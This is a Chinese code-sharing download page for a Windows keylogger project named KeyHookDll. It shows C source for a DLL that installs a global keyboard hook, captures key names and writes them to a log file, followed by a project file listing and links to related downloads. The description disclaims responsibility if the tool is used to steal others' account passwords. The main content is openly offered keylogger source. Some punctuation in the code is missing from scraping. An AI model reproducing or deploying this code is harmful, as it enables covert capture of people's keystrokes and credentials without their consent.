资源简介
一个键盘输入的获取程序,仅供学习交流和参考,若用于不正当的行为,如获取他人的账号密码等,引起的相关责任与本人无关。
代码片段和文件信息
#include “KeyHook.h“
#include
char szTmp[65536] = {0};
BOOL APIENTRY DllMain(HANDLE hModule DWORD ul_reaon_for_call LPVOID lpReserved)
{
g_Inst = (HINSTANCE)hModule;
char path[MAXBYTE] = {0}savePath[MAXBYTE] = {0};
GetCurrentDirectoryA(MAXBYTEpath);
sprintf(savePath“%s\\log.txt“path);
hFile = CreateFile(savePath GENERIC_ALL FILE_SHARE_WRITE NULL CREATE_ALWAYS FILE_ATTRIBUTE_NORMAL NULL);
return TRUE;
}
//钩子函数
LRESULT CALLBACK keyBoardProc(int code WPARAM wParam LPARAM lParam)
{
if (code < 0 )
{
return CallNextHookEx(g_Hook code wParam lParam);
}
if (code == HC_ACTION && lParam > 0)
{
char szBuf[MAXBYTE] = {0};
if (hFile == INVALID_HANDLE_VALUE)
{
MessageBox(NULL“Create Error““Error“MB_OK);
return 0;
}
GetKeyNameText(lParam szBuf MAXBYTE);
strcat(szTmp szBuf);
}
return CallNextHookEx(g_Hook code wParam lParam);
}
//安装钩子
VOID setHookOn()
{
g_Hook = SetWindowsHookEx(WH_KEYBOARD keyBoardProc g_Inst 0);
}
//卸载钩子
VOID setHookOff()
{
DWORD dwNum = 0;
for ( int i = 0; i < strlen(szTmp); ++ i)
{
WriteFile(hFile &szTmp[i] 1 &dwNum NULL);
}
CloseHandle(hFile);
UnhookWindowsHookEx(g_Hook);
}
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2014-11-16 22:02 KeyHookDll\
目录 0 2014-11-16 22:02 KeyHookDll\Debug\
文件 28672 2014-11-16 21:30 KeyHookDll\Debug\KeyHookDll.dll
文件 1924 2014-11-16 21:12 KeyHookDll\Debug\KeyHookDll.lib
文件 155136 2014-11-16 21:48 KeyHookDll\Debug\KeyHookTest.exe
目录 0 2014-11-16 22:02 KeyHookDll\KeyHookDll\
文件 1369 2014-11-16 20:25 KeyHookDll\KeyHookDll.sln
文件 16384 2014-11-16 22:01 KeyHookDll\KeyHookDll.suo
文件 1288 2014-11-16 22:01 KeyHookDll\KeyHookDll\KeyHook.cpp
文件 290 2014-11-16 21:05 KeyHookDll\KeyHookDll\KeyHook.h
文件 4051 2014-11-16 21:54 KeyHookDll\KeyHookDll\KeyHookDll.vcxproj
文件 1065 2014-11-16 20:06 KeyHookDll\KeyHookDll\KeyHookDll.vcxproj.filters
文件 143 2014-11-16 19:52 KeyHookDll\KeyHookDll\KeyHookDll.vcxproj.user
目录 0 2014-11-16 22:02 KeyHookDll\KeyHookTest\
文件 28672 2014-11-16 21:30 KeyHookDll\KeyHookTest\KeyHookDll.dll
文件 1924 2014-11-16 21:12 KeyHookDll\KeyHookTest\KeyHookDll.lib
文件 105784 2014-11-16 21:48 KeyHookDll\KeyHookTest\KeyHookTest.aps
文件 2058 2014-11-16 20:20 KeyHookDll\KeyHookTest\KeyHookTest.cpp
文件 472 2014-11-16 20:20 KeyHookDll\KeyHookTest\KeyHookTest.h
文件 10276 2014-11-16 21:48 KeyHookDll\KeyHookTest\KeyHookTest.rc
文件 5959 2014-11-16 20:32 KeyHookDll\KeyHookTest\KeyHookTest.vcxproj
文件 2016 2014-11-16 20:32 KeyHookDll\KeyHookTest\KeyHookTest.vcxproj.filters
文件 143 2014-11-16 20:20 KeyHookDll\KeyHookTest\KeyHookTest.vcxproj.user
文件 4432 2014-11-16 21:47 KeyHookDll\KeyHookTest\KeyHookTestDlg.cpp
文件 770 2014-11-16 21:44 KeyHookDll\KeyHookTest\KeyHookTestDlg.h
文件 0 2014-11-16 22:00 KeyHookDll\KeyHookTest\log.txt
文件 3089 2014-11-16 20:20 KeyHookDll\KeyHookTest\ReadMe.txt
目录 0 2014-11-16 20:20 KeyHookDll\KeyHookTest\res\
文件 1736 2014-11-16 20:25 KeyHookDll\KeyHookTest\resource.h
文件 67777 2009-08-31 02:31 KeyHookDll\KeyHookTest\res\KeyHookTest.ico
文件 678 2014-11-16 20:20 KeyHookDll\KeyHookTest\res\KeyHookTest.rc2
............此处省略3个文件信息
相关资源
- 一个简单的木马程序源代码,实现文
- 清空IE地址栏记录的资源
- 单片机的仿真记录按键按下的次数
- 原生js实现网页中繁体简体不刷新切换
- QQ聊天记录强行查看器.rar
- 使用EXCEL记录串口数据
- 基于FRAM的海水深度记录仪
- YZG05/30矿用钻孔轨迹记录仪及其应用
- opencpu学习记录及其AT指令中文版 移远
- CentOS7 1804 OpenSSH8.3p1打包RPM、安装升级
- QZ-4井孢粉记录表明青藏高原中心地区
- qt编写的日志记录类
- 软件代码评审表
- MarkPad笔记软件
- 软件评测师学习记录
- CarPlay认证的协议log记录usb分析仪文件
- delphi建立键盘、鼠标动作记录与回放
- 2018全国行政区划含乡镇excel文件,数
- 软件测试记录表模板
- 尚宇行车记录仪刷机软件
- 税收编码记录表(新).xls
- PCI9056经典调试记录
- 磁盘主引导记录修复工具.MbrFix64
- 京东评论原始数据集大约1万条记录
- BTCoin网站K线记录
- 最全的全国手机号码段归属地数据库
- 双色球历史开奖记录数据库
- 易语言删除记录ID自动重排
- 8个通道模拟信号连续采集、显示和记
- 实战突击:PHP项目开发案例整合-配套
评论
共有 条评论